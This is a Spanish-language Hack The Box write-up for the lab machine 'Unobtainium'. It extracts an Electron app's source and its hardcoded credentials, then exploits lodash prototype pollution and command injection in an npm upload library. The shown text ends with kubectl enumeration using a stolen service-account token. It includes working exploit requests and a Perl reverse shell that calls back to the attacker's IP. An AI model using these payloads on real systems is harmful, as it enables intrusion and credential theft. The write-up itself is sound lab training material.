This page looks best with JavaScript enabled

Hack The Box - Unobtainium

En Unobtainium, encontramos una aplicacion en Electron, el codigo fuente nos guio a multiples vulnerabilidades para explotar y obtener acceso. Tras una enumeracion notamos que es un entorno relacionado a Kubernetes, explotamos con un script las aplicaciones para acceder a informacion de acceso, con ello logramos escapar del contenedor y obtener acceso al host.

Nombre Unobtainium box_img_maker
OS

Linux

Puntos 40
Dificultad Dificil
IP 10.10.10.235
Maker

felamos

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[7.9, 7.7, 5.5, 4.5, 2.3],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[5, 10, 1, 9, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

Masscan & Nmap

Escaneo de puertos con nmap nos muestra multiples puertos abiertos: http/s (80, 31337, 10250), kubernetes(?) (8443), tcp (2379,2380), ssh (22).

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-06-10 23:49:59 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 2380/tcp on 10.10.10.235
Discovered open port 10250/tcp on 10.10.10.235
Discovered open port 2379/tcp on 10.10.10.235
Discovered open port 80/tcp on 10.10.10.235
Discovered open port 22/tcp on 10.10.10.235
Discovered open port 31337/tcp on 10.10.10.235
Discovered open port 10256/tcp on 10.10.10.235
Discovered open port 8443/tcp on 10.10.10.235

Nmap scan report for unobtainium.htb (10.10.10.235)
Host is up (0.073s latency).

PORT      STATE SERVICE          VERSION
22/tcp    open  ssh              OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 e4:bf:68:42:e5:74:4b:06:58:78:bd:ed:1e:6a:df:66 (RSA)
|   256 bd:88:a1:d9:19:a0:12:35:ca:d3:fa:63:76:48:dc:65 (ECDSA)
|_  256 cf:c4:19:25:19:fa:6e:2e:b7:a4:aa:7d:c3:f1:3d:9b (ED25519)
80/tcp    open  http             Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Unobtainium
2379/tcp  open  ssl/etcd-client?
| ssl-cert: Subject: commonName=unobtainium
| Subject Alternative Name: DNS:localhost, DNS:unobtainium, IP Address:10.10.10.3, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2021-01-17T07:10:30
|_Not valid after:  2022-01-17T07:10:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  h2
| tls-nextprotoneg:
|_  h2
2380/tcp  open  ssl/etcd-server?
| ssl-cert: Subject: commonName=unobtainium
| Subject Alternative Name: DNS:localhost, DNS:unobtainium, IP Address:10.10.10.3, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2021-01-17T07:10:30
|_Not valid after:  2022-01-17T07:10:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  h2
| tls-nextprotoneg:
|_  h2
10250/tcp open  ssl/http         Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=unobtainium@1610865428
| Subject Alternative Name: DNS:unobtainium
| Not valid before: 2021-01-17T05:37:08
|_Not valid after:  2022-01-17T05:37:08
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|   h2
|_  http/1.1
10256/tcp open  http             Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
31337/tcp open  http             Node.js Express framework
| http-methods:
|_  Potentially risky methods: PUT DELETE
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
8443/tcp  open  ssl/https-alt
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 403 Forbidden
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
|     X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
|     Date: Thu, 10 Jun 2021 21:29:09 GMT
|     Content-Length: 212
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}
|   GenericLines:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 403 Forbidden
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
|     X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
|     Date: Thu, 10 Jun 2021 21:29:08 GMT
|     Content-Length: 185
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
|   HTTPOptions:
|     HTTP/1.0 403 Forbidden
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
|     X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
|     Date: Thu, 10 Jun 2021 21:29:09 GMT
|     Content-Length: 189
|_    {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}
|_http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.10.10.235, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Not valid before: 2021-06-09T20:33:11
|_Not valid after:  2022-06-10T20:33:11
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|   h2
|_  http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web site

Encontramos una pagina la cual muestra opciones para descarga de una “aplicacion” en diferentes formatos para sistemas linux.
image

Feroxbuster

Feroxbuster muestra directorios que se encuentran el index.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
π ~ ❯ feroxbuster -u http://10.10.10.235/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.2.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.10.235/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.2.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
301        9l       28w      316c http://10.10.10.235/downloads
301        9l       28w      313c http://10.10.10.235/images
403        9l       28w      277c http://10.10.10.235/server-status
301        9l       28w      313c http://10.10.10.235/assets
301        9l       28w      316c http://10.10.10.235/assets/js
[#############>------] - 45m   769750/1102725 19m     found:5       errors:46940
[####################] - 29m   220545/220545  126/s   http://10.10.10.235/
[###################>] - 36m   218674/220545  100/s   http://10.10.10.235/downloads
[###############>----] - 31m   175048/220545  91/s    http://10.10.10.235/images
[###########>--------] - 25m   132105/220545  85/s    http://10.10.10.235/assets
[##>-----------------] - 4m     23374/220545  79/s    http://10.10.10.235/assets/js

Unobtainium APP

Descargamos el programa que se muestra en la pagina principal con extension ".deb", el archivo descargado es un zip, y contiene el paquete unobtainium_1.0.0_amd64.deb y archivo hash MD5.

1
2
3
4
5
6
7
8
 π ~/htb/unobtainium/tmp ❯ l
total 105M
drwxr-xr-x 3 kali kali 4.0K Jun 10 17:26 .
drwxr-xr-x 5 kali kali 4.0K Jun 10 19:53 ..
-rw-r--r-- 1 kali kali  53M Jan 19 01:16 unobtainium_1.0.0_amd64.deb
-rw-r--r-- 1 kali kali   62 Mar 24 06:22 unobtainium_1.0.0_amd64.deb.md5sum
-rw-r--r-- 1 kali kali  53M Mar 24 06:23 unobtainium_debian.zip
 π ~/htb/unobtainium/tmp ❯

Extract .DEB

Utilizamos dpkg-deb para extraer el contenido del paquete, dentro encontramos la aplicacion opt/unobtainium/unobtainium, tambien el changelog.gz, además vemos un archivo app.asar.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# dpkg-deb -xv unobtainium_1.0.0_amd64.deb extract/
π ~/htb/unobtainium/tmp/extract ❯ tree
.
├── opt
│ └── unobtainium
│     ├── chrome_100_percent.pak
│     ├── chrome_200_percent.pak
│     ├── chrome-sandbox
│     ├── icudtl.dat
│     ├── libEGL.so
│     ├── libffmpeg.so
│     ├── libGLESv2.so
│     ├── libvk_swiftshader.so
│     ├── libvulkan.so
│     ├── LICENSE.electron.txt
│     ├── LICENSES.chromium.html
│     ├── locales
│     │ ├── am.pak
│     │ ├── ar.pak
[... REDACTED ...]
│     ├── resources
│     │ ├── app.asar
│     ├── resources.pak
│     ├── snapshot_blob.bin
│     ├── swiftshader
│     │ ├── libEGL.so
│     │ └── libGLESv2.so
│     ├── unobtainium
│     ├── v8_context_snapshot.bin
│     └── vk_swiftshader_icd.json
└── usr
    └── share
        ├── applications
        │ └── unobtainium.desktop
        ├── doc
        │ └── unobtainium
        │     └── changelog.gz
[... REDACTED ...]

28 directories, 97 files
 π ~/htb/unobtainium/tmp/extract ❯

Changelog

El changelog solo muestra la version, el constructor (FPM) del paquete, un nombre de usuario (felamos) y un dominio (unobtainium.htb) el cual agregamos a nuestro archivo /etc/hosts.

1
2
3
4
5
6
π ~/htb/unobtainium/tmp/extract/usr/share/doc/unobtainium ❯ cat changelog
unobtainium (1.0.0) whatever; urgency=medium

  * Package created with FPM.

 -- felamos <felamos@unobtainium.htb>  Mon, 18 Jan 2021 22:15:14 -0800

APP

Al ejecutar unobtainium se muestra un mensaje acerca del dominio unobtainium.htb, un dashboard y multiples opciones.
image

  • Enviar mensajes.
    image

  • Ultimos mensajes.
    image
    Tras enviar un mensaje, este se muestra en Messaje Log en formato json.

1
2
3
4
5
6
7
8
9
[
   {
      "icon":"__",
      "text":"sckull",
      "id":1,
      "timestamp":1623363041476,
      "userName":"felamos"
   }
]
  • ToDo, se muestra una lista de cosas por hacer.
    image
1
2
3
4
{
   "ok":true,
   "content":"1. Create administrator zone.\n2. Update node JS API Server.\n3. Add Login functionality.\n4. Complete Get Messages feature.\n5. Complete ToDo feature.\n6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1\n7. Improve security\n"
}

Asar - Electron App

En la carpeta resources/ se encuentra el archivo app.asar el cual esta relacionado a Electron, por lo que estrajimos los archivos utilizando asar, y con ello el codigo fuente de la aplicacion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# npx asar extract app.asar asar_extract/ 
π ~/htb/unobtainium/tmp/extract/opt/unobtainium/resources/asar_extract ❯ tree
.
├── index.js
├── package.json
└── src
    ├── css
    │ ├── bootstrap.min.css
    │ └── dashboard.css
    ├── get.html
    ├── index.html
    ├── js
    │ ├── app.js
    │ ├── bootstrap.bundle.min.js
    │ ├── Chart.min.js
    │ ├── check.js
    │ ├── dashboard.js
    │ ├── feather.min.js
    │ ├── get.js
    │ ├── jquery.min.js
    │ └── todo.js
    ├── post.html
    └── todo.html

Codigo Fuente - APP

En el codigo fuente encontramos solicitudes PUT, POST y GET hacia la direccion http://unobtainium.htb:31337/, vemos que realiza algun tipo de autenticacion junto con credenciales cuando envia mensajes, y estos son enviados en formato JSON, tambien se muestra una solicitud para la lectura de un archivo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
// app.js
$(document).ready(function(){
    $("#but_submit").click(function(){
        var message = $("#message").val().trim();
        $.ajax({
        url: 'http://unobtainium.htb:31337/',
        type: 'put',
        dataType:'json',
        contentType:'application/json',
        processData: false,
        data: JSON.stringify({"auth": {"name": "felamos", "password": "Winter2021"}, "message": {"text": message}}),
        success: function(data) {
            //$("#output").html(JSON.stringify(data));
            $("#output").html("Message has been sent!");
        }
    });
});
});
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
//check.js
$.ajax({url: "http://unobtainium.htb:31337",
        type: "HEAD",
        timeout:1000,
        statusCode: {
            200: function (response) {
                
            },
            400: function (response) {
                alert('Unable to reach unobtainium.htb');
            },
            0: function (response) {
                alert('Unable to reach unobtainium.htb');
            }              
        }
    });
1
2
3
4
5
6
7
8
9
//get.js
$.ajax({
    url: 'http://unobtainium.htb:31337',
    type: 'get',
    
    success: function(data) {
        $("#output").html(JSON.stringify(data));
    }
});
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
//todo.js
$.ajax({
    url: 'http://unobtainium.htb:31337/todo',
    type: 'post',
    dataType:'json',
    contentType:'application/json',
    processData: false,
    data: JSON.stringify({"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "todo.txt"}),
    success: function(data) {
        $("#output").html(JSON.stringify(data));
    }
});

Unobtainium API

LFI & Analisis - API

Con el codigo fuente encontrado interactuamos con la API, principalmente en la solicitud POST para la lectura de archivos. Al no enviar ningun parametro obtuvimos un error en el que se muestra la direccion donde se encuentra la aplicacion (/usr/src/app/), el nombre del archivo de la aplicacion (index.js) y algunas librerias.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# {"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : ""}
Error: ENOENT: no such file or directory, open
    at Object.openSync (fs.js:476:3)
    at Object.readFileSync (fs.js:377:35)
    at /usr/src/app/index.js:86:41
    at Array.forEach (<anonymous>)
        at /usr/src/app/index.js:84:36
        at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)
        at next (/usr/src/app/node_modules/express/lib/router/route.js:137:13)
        at Route.dispatch (/usr/src/app/node_modules/express/lib/router/route.js:112:3)
        at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)
        at /usr/src/app/node_modules/express/lib/router/index.js:281:22

Mediante la ruta /todo y el parametro filename obtuvimos acceso al codigo fuente de la aplicacion y el archivo package.json que contiene la descripcion y dependencias. En el codigo fuente encontramos:

  • Un nombre de usuario: admin y, caracteristicas como: poder eliminar y subir archivos, las cuales el usuario felamos no tiene.
  • Una funcion (findUser) para la anutenticacion de usuarios en users.
  • Vemos la ruta (/upload) para subir archivos y un metodo (DELETE) para eliminar mensajes.
  • Los archivos que pueden ser “leidos” deben de estar en /usr/src/app.
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
// {"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "index.js"}
var root = require("google-cloudstorage-commands");

const express = require('express');
const { exec } = require("child_process");
const bodyParser = require('body-parser');
const _ = require('lodash');
const app = express();

var fs = require('fs');

const users = [
                {name: 'felamos', password: 'Winter2021'}, 
                {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true}, 
            ];

let messages = [];
let lastId = 1;

function findUser(auth) {
    return users.find((u) => u.name === auth.name && u.password === auth.password);
}

app.use(bodyParser.json());

app.get('/', (req, res) => {
    res.send(messages);
});

app.put('/', (req, res) => {
    const user = findUser(req.body.auth || {});
    if (!user) {
        res.status(403).send({
            ok: false,
            error: 'Access denied'
        });
        return;
    }
    const message = {
        icon: '__',
    };
    _.merge(message, req.body.message, {
        id: lastId++,
        timestamp: Date.now(),
        userName: user.name,
    });
    messages.push(message);
    res.send({
        ok: true
    });
});

app.delete('/', (req, res) => {
    const user = findUser(req.body.auth || {});
    if (!user || !user.canDelete) {
        res.status(403).send({
            ok: false,
            error: 'Access denied'
        });
        return;
    }
    messages = messages.filter((m) => m.id !== req.body.messageId);
    res.send({
        ok: true
    });
});

app.post('/upload', (req, res) => {
    const user = findUser(req.body.auth || {});
    if (!user || !user.canUpload) {
        res.status(403).send({
            ok: false,
            error: 'Access denied'
        });
        return;
    }
    filename = req.body.filename;
    root.upload("./", filename, true);
    res.send({
        ok: true,
        Uploaded_File: filename
    });
});

app.post('/todo', (req, res) => {
    const user = findUser(req.body.auth || {});
    if(!user) {
        res.status(403).send({
            ok: false,
            error: 'Access denied'
        });
        return;        
    }
    filename = req.body.filename;
    testFolder = "/usr/src/app";
    fs.readdirSync(testFolder).forEach(file => {
        if (file.indexOf(filename) > -1) {
            var buffer = fs.readFileSync(filename).toString();
            res.send({
                ok: true,
                content: buffer
            });
        }
    });
});
app.listen(3000);
console.log('Listening on port 3000...');
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
//{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "package.json"}
{
   "name":"Unobtainium-Server",
   "version":"1.0.0",
   "description":"API Service for Electron client",
   "main":"index.js",
   "scripts":{
      "start":"node index.js"
   },
   "author":"felamos",
   "license":"ISC",
   "dependencies":{
      "body-parser":"1.18.3",
      "express":"4.16.4",
      "lodash":"4.17.4",
      "google-cloudstorage-commands":"0.0.1"
   },
   "devDependencies":{
      
   }
}

EXPLOTACION LOCAL

NPM

Utilizamos estos dos archivos (index.js,packaje.json) para instalar las dependencias y ejecutar la aplicacion, aunque inicialmente se ejecuto npm audit, el cual mostró multiples vulnerabilidades en lodash<=4.17.20, una de estas calificada como alta.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
 π ~/htb/unobtainium/tests ❯ npm audit
# npm audit report

lodash  <=4.17.20
Severity: high
Prototype Pollution - https://npmjs.com/advisories/1065
Prototype Pollution - https://npmjs.com/advisories/1523
Command Injection - https://npmjs.com/advisories/1673
Prototype Pollution - https://npmjs.com/advisories/577
Prototype Pollution - https://npmjs.com/advisories/782
fix available via `npm audit fix --force`
Will install lodash@4.17.21, which is outside the stated dependency range
node_modules/lodash

1 high severity vulnerability

To address all issues, run:
  npm audit fix --force
 π ~/htb/unobtainium/tests ❯

Prototype Pollution

Tras analizar el codigo fuente encontramos que el metodo .merge es vulnerable a Prototype Pollution (1, 2, 3, 4), por lo que es posible modificar un objeto.

1
2
3
4
5
6
7
8
9
[ ... ]
const _ = require('lodash');
[ ... ]
_.merge(message, req.body.message, {
    id: lastId++,
    timestamp: Date.now(),
    userName: user.name,
});
[ ... ]

Ejecutamos la aplicacion localmente para realizar varios tests, y, poder tomar ventaja de las caracteristicas del usuario admin con un payload modificando/dando los permisos a felamos.

1
{"constructor": {"prototype": {"canDelete": true, "canUpload": true}}}

Enviamos la solicitud junto con el payload con el metodo PUT a la direccion /.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
"PUT http://127.0.0.1:3000/"
{
    "auth": {
        "name": "felamos",
        "password": "Winter2021"
    },
    "message": {
        "constructor": {
            "prototype": {
                "canDelete": true,
                "canUpload": true
            }
        }
    }
}

Tras enviar la solicitud, verificamos que el usuario no obtuviera el mensaje "Access denied". En la direccion /upload y con el metodo DELETE en /, se obtuvo un mensaje que indicaba que tenia acceso a estas direcciones.

1
2
3
{
    "ok": true
}

Command Injection

La ruta /upload requiere un nombre de archivo, el cual es utilizado para subir archivos, aunque este utiliza google-cloudstorage-commands el cual tiene la vulnerabilidad de Command Injection la cual afecta a todas las versiones.

1
2
3
4
5
var root = require("google-cloudstorage-commands");
[...]
filename = req.body.filename;
root.upload("./", filename, true);
[...]

La explotacion es simple, solo requiere pasar un ampersand (&) seguido del comando a ejecutar.

1
2
3
4
5
6
7
8
"POST http://127.0.0.1:3000/upload"
{
    "auth": {
        "name": "felamos",
        "password": "Winter2021"
    },
    "filename":"& touch cmd.txt"
}

Luego de enviar la solicitud, localmente se creo el archivo cmd.txt, por lo que “podriamos” ejecutar una shell inversa para obtener acceso.

1
2
3
4
5
6
7
8
 π ~/htb/unobtainium/tests ❯ ll
total 48K
-rw-r--r--  1 kali kali    0 Jun 11 18:46 cmd.txt
-rw-r--r--  1 kali kali 2.8K Jun 11 18:35 index.js
drwxr-xr-x 53 kali kali 4.0K Jun 11 18:03 node_modules
-rw-r--r--  1 kali kali  416 Jun 11 18:23 package.json
-rw-r--r--  1 kali kali  33K Jun 11 18:23 package-lock.json
 π ~/htb/unobtainium/tests ❯

Shell - Container

Tras identificar y explotar las vulnerabilidades en la API localmente, se replicó la explotacion en la maquina, ejecutando una shell inversa utilizando perl.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
"PUT http://127.0.0.1:3000/"
{
    "auth": {
        "name": "felamos",
        "password": "Winter2021"
    },
    "message": {
        "constructor": {
            "prototype": {
                "canDelete": true,
                "canUpload": true
            }
        }
    }
}

"POST http://127.0.0.1:3000/upload"
{
    "auth": {
        "name": "felamos",
        "password": "Winter2021"
    },
    "filename":"& perl -e 'use Socket;$i=\"10.10.14.10\";$p=1338;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"
}

Logramos obtener una shell con el usuario root y la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 π ~/htb/unobtainium ❯ rlwrap nc -lvp 1338
listening on [any] 1338 ...
connect to [10.10.14.10] from unobtainium.htb [10.10.10.235] 51850
/bin/sh: 0: can't access tty; job control turned off
python -c 'import pty; pty.spawn("/bin/bash");'
root@webapp-deployment-5d764566f4-lrpt9:/usr/src/app# ls -lah
total 64K
drwxr-xr-x  1 root root 4.0K Jun 12 00:40 .
drwxr-xr-x  1 root root 4.0K Feb 21 22:43 ..
-rw-r--r--  1 root root  491 Mar 24 09:55 Dockerfile
-rw-r--r--  1 root root   46 Jan 21 15:01 clear-kubectl
-rw-r--r--  1 root root  119 Jun 11 23:49 hello.txt
-rw-rw-r--  1 root root 3.5K Feb 15 17:45 index.js
drwxr-xr-x 53 root root 4.0K Feb 21 22:43 node_modules
-rw-rw-r--  1 root root  15K Jan 16 17:14 package-lock.json
-rw-rw-r--  1 root root  395 Jan 16 17:14 package.json
-rw-r--r--  1 root root  101 Jun 12 00:38 tmp
-rw-rw-r--  1 root root  262 Jan 17 03:41 todo.txt
-rw-r--r--  1 root root   14 Jun 12 01:05 x
root@webapp-deployment-5d764566f4-lrpt9:/usr/src/app# cd /root
root@webapp-deployment-5d764566f4-lrpt9:~# ls -lah
total 12K
drwxr-xr-x 2 root root 4.0K Feb 21 22:43 .
drwxr-xr-x 1 root root 4.0K Jun 11 22:04 ..
-rw-r--r-- 2 root root   33 Jun 11 22:04 user.txt
root@webapp-deployment-5d764566f4-lrpt9:~# cat user.txt
9566ee99c9bbdbfda4fc4b5bc5628417
root@webapp-deployment-5d764566f4-lrpt9:~#

Privesc - Kubernetes

Listando los directorios (/) vemos el archivo .dockerenv que indica que es un contenedor, sin embargo, al listar las variables de entorno, encontramos variables que indican que es un contenedor (ó pod) de Kubernetes.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root@webapp-deployment-5d764566f4-lrpt9:~# env
YARN_VERSION=1.22.5
WEBAPP_SERVICE_PORT_3000_TCP=tcp://10.96.137.170:3000
WEBAPP_SERVICE_PORT_3000_TCP_PROTO=tcp
WEBAPP_SERVICE_PORT=tcp://10.96.137.170:3000
canDelete=true
HOSTNAME=webapp-deployment-5d764566f4-lrpt9
OLDPWD=/usr/src/app
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
KUBERNETES_PORT=tcp://10.96.0.1:443
WEBAPP_SERVICE_SERVICE_PORT=3000
PWD=/root
HOME=/root
WEBAPP_SERVICE_PORT_3000_TCP_ADDR=10.96.137.170
KUBERNETES_SERVICE_PORT_HTTPS=443
canUpload=true
KUBERNETES_PORT_443_TCP_PORT=443
NODE_VERSION=14.15.4
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
WEBAPP_SERVICE_PORT_3000_TCP_PORT=3000
SHLVL=1
WEBAPP_SERVICE_SERVICE_HOST=10.96.137.170
KUBERNETES_SERVICE_PORT=443
PATH=/root/:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_SERVICE_HOST=10.96.0.1
_=/usr/bin/env
root@webapp-deployment-5d764566f4-lrpt9:~#

Tambien encontramos el archivo Dockerfile del contenedor vulnerable (Unobtainium APP).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
root@webapp-deployment-5d764566f4-lrpt9:/usr/src/app# cat Dockerfile
FROM node:14
RUN apt-get update && apt-get -y install cron

WORKDIR /usr/src/app
COPY package*.json ./
COPY . .
COPY clear-kubectl /etc/cron.d/clear-kubectl
RUN chmod 0644 /etc/cron.d/clear-kubectl
RUN crontab /etc/cron.d/clear-kubectl
RUN touch /var/log/cron.log
RUN ln -s /dev/null /root/.bash_history
RUN ln -s /dev/null /home/node/.bash_history
RUN echo 'proc /proc proc defaults,hidepid=2 0 0' >> /etc/fstab
CMD cron && tail -f /var/log/cron.log
EXPOSE 3000
CMD [ "node", "index.js" ]
root@webapp-deployment-5d764566f4-lrpt9:/usr/src/app#

Kubectl

En la maquina no existe kubectl, aunque si existe un cronjob que elimina archivos que tengan ese nombre.

1
2
3
root@webapp-deployment-5d764566f4-lrpt9:~# crontab -l
* * * * * find / -name kubectl -exec rm {} \;
root@webapp-deployment-5d764566f4-lrpt9:~#

Descargamos kubectl en nuestra maquina y luego al contenedor para realizar enumeracion.

1
2
3
4
5
6
7
# Local
curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.21.0/bin/linux/amd64/kubectl
python3 -m http.server 80 .

# Remote
wget 10.01.01.10/kubectl -O kiub
chmod +x kiub

Enumeracion

Siguiendo la guia de hacktricks obtuvimos informacion. Inicialmente configuramos una variable para la ejecucion de kubectl en la cual agregamos el token y el certificado los cuales encontramos en /run/secrets/kubernetes.io/serviceaccount junto con la direccion IP del servidor el cual encontramos en las variables de entorno.

1
export kube="/root/kiub --token=$(cat /run/secrets/kubernetes.io/serviceaccount/token) --certificate-authority=/run/secrets/kubernetes.io/serviceaccount/ca.crt --server=https://10.96.0.1:443"

Namespaces

Con ello enumeramos los namespaces, ademas, listamos los actions que tenemos en cada uno, solamente en dev podemos listar los pods, en los demás solo los namespaces, es decir estamos limitados a listar.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
root@webapp-deployment-5d764566f4-lrpt9:~# export kube="/root/kiub --token=$(cat /run/secrets/kubernetes.io/serviceaccount/token) --certificate-authority=/run/secrets/kubernetes.io/serviceaccount/ca.crt --server=https://10.96.0.1:443"
root@webapp-deployment-5d764566f4-lrpt9:~# $kube get namespaces
NAME              STATUS   AGE
default           Active   149d
dev               Active   149d
kube-node-lease   Active   149d
kube-public       Active   149d
kube-system       Active   149d
